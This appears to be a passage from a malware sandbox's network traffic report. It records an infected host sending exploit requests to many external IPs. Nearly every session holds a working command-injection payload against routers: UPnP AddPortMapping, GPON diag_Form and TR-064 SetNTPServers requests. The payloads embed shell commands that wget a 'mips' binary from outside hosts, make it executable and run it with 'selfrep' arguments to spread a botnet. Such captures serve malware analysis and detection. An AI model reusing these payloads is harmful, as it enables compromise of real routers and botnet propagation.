4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`<

Session ID	Source IP	Source Port	Destination IP	Destination Port
1381	192.168.2.13	46340	128.140.64.103	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:55.963141918 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:56.269443989 CEST	532	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Apr 2024 06:53:56 GMT Content-Type: text/html Content-Length: 166 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Origin,Content-Type,Accept Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1382	192.168.2.13	51742	23.221.190.27	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:55.988404036 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:56.328445911 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Mon, 15 Apr 2024 06:53:56 GMT Date: Mon, 15 Apr 2024 06:53:56 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 34 61 30 64 65 35 32 26 23 34 36 3b 31 37 31 33 31 36 34 30 33 36 26 23 34 36 3b 31 36 39 35 34 31 65 36 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 61 34 61 30 64 65 35 32 26 23 34 36 3b 31 37 31 33 31 36 34 30 33 36 26 23 34 36 3b 31 36 39 35 34 31 65 36 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.a4a0de52.1713164036.169541e6<P>https://errors.edgesuite.net/9.a4a0de52.1713164036.169541e6</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1383	192.168.2.13	52134	181.208.224.85	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:56.051835060 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1384	192.168.2.13	54388	59.30.207.184	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:56.052923918 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1385	192.168.2.13	50792	220.85.6.102	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:56.063177109 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1386	192.168.2.13	49134	115.16.69.175	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:56.064151049 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:56.444361925 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1387	192.168.2.13	35644	14.76.199.217	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:56.071129084 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1388	192.168.2.13	53478	181.231.135.246	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:56.072701931 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1389	192.168.2.13	33518	37.78.64.182	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:56.133949995 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:57.952547073 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1390	192.168.2.13	52160	181.208.224.85	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:56.330279112 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1391	192.168.2.13	52162	181.208.224.85	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:56.330533981 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1392	192.168.2.13	54426	59.30.207.184	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:56.344675064 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1393	192.168.2.13	50834	220.85.6.102	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:56.354492903 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1394	192.168.2.13	49170	115.16.69.175	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:56.354545116 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:56.732371092 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1395	192.168.2.13	35684	14.76.199.217	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:56.369188070 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1396	192.168.2.13	53522	181.231.135.246	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:56.372286081 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1397	192.168.2.13	33556	37.78.64.182	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:56.491641998 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1398	192.168.2.13	52176	181.208.224.85	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:56.730859995 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1399	192.168.2.13	60918	190.33.243.128	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:56.754153013 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:57.017930031 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1400	192.168.2.13	45126	121.238.181.123	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:56.780929089 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
